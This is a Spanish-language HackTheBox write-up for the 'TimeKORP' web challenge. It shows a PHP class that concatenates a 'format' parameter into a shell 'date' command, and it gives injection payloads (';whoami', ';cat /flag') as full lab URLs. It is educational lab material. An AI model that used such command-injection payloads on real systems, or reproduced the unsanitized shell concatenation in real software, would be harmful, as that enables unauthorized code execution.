TimeKORP – HackTheBox
Dificultad: Very Easy
Categoría: Web
🧨 Writeup - Very Easy Challenge (RCE)
En este Challenge de nivel Very easy de HackTheBox, abordamos un escenario de Remote Code Execution (RCE) aprovechando una vulnerabilidad en el parámetro format
de una aplicación web.
Durante el análisis y explotación, seguimos un flujo directo y efectivo:
- 🔍 Análisis del parámetro format identificando comportamientos anómalos
- 🎯 Explotación RCE usando el parámetro vulnerable para ejecutar comandos y obtener la flag
Este writeup documenta los pasos esenciales para obtener la flag.
⚠️ Este contenido es exclusivamente educativo y está orientado a mejorar habilidades de pentesting ético.
🌐 Reconocimiento
Al acceder por primera vez a la IP del reto en el navegador, nos encontramos con una aplicación web que muestra la fecha y hora actual del servidor. La aplicación permite especificar el formato de visualización de la fecha mediante un parámetro.
🔥 Explotación inicial
Durante la fase de ataque inicial, decidimos probar directamente si el parámetro format
es vulnerable a inyección de comandos. Utilizamos un payload simple para intentar ejecutar el comando whoami
en el servidor:
Payload utilizado:
';whoami'
URL completa:
http://94.237.54.192:55173/?format=';whoami'
Este payload intenta romper la sintaxis del comando date
cerrando las comillas y ejecutando un comando adicional.
🔍 Análisis del código vulnerable
Antes de proceder con la explotación, es importante entender por qué existe la vulnerabilidad RCE. Al analizar el código fuente de la aplicación, encontramos la clase TimeModel
:
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
¿Por qué hay RCE?
La vulnerabilidad se encuentra en la función __construct()
donde el parámetro $format
se concatena directamente al comando date
sin ningún tipo de validación o sanitización:
- Línea vulnerable:
$this->command = "date '+" . $format . "' 2>&1";
- Problema: El valor de
$format
se inserta directamente en el comando shell - Consecuencia: Un atacante puede romper la sintaxis del comando
date
e inyectar comandos adicionales
Ejemplo de explotación:
- Input normal:
format=Y-m-d
→ Comando:date '+Y-m-d' 2>&1
- Input malicioso:
format='; whoami'
→ Comando:date ''; whoami '' 2>&1
El comando resultante ejecutaría:
date ''
(Cerramos las primeras comillas, las de apertura)whoami
(comando inyectado)''
(Aqui cerramos tambien las de que originalmente cerraban)
🏁 Obtención de la flag
Una vez confirmada la vulnerabilidad RCE, procedemos a buscar y leer la flag del sistema. Utilizamos el comando cat
para leer el archivo /flag
que típicamente contiene la flag en los challenges de HackTheBox:
Payload utilizado:
';cat /flag'
URL completa:
http://94.237.54.192:55173/?format=';cat /flag'
Este comando ejecuta cat /flag
en el servidor, mostrándonos directamente el contenido de la flag.
✅ Reto completado
Después de explotar exitosamente la vulnerabilidad RCE a través del parámetro format
, logramos ejecutar comandos en el sistema y obtener la flag del challenge.
¡Challenge completado! 🎉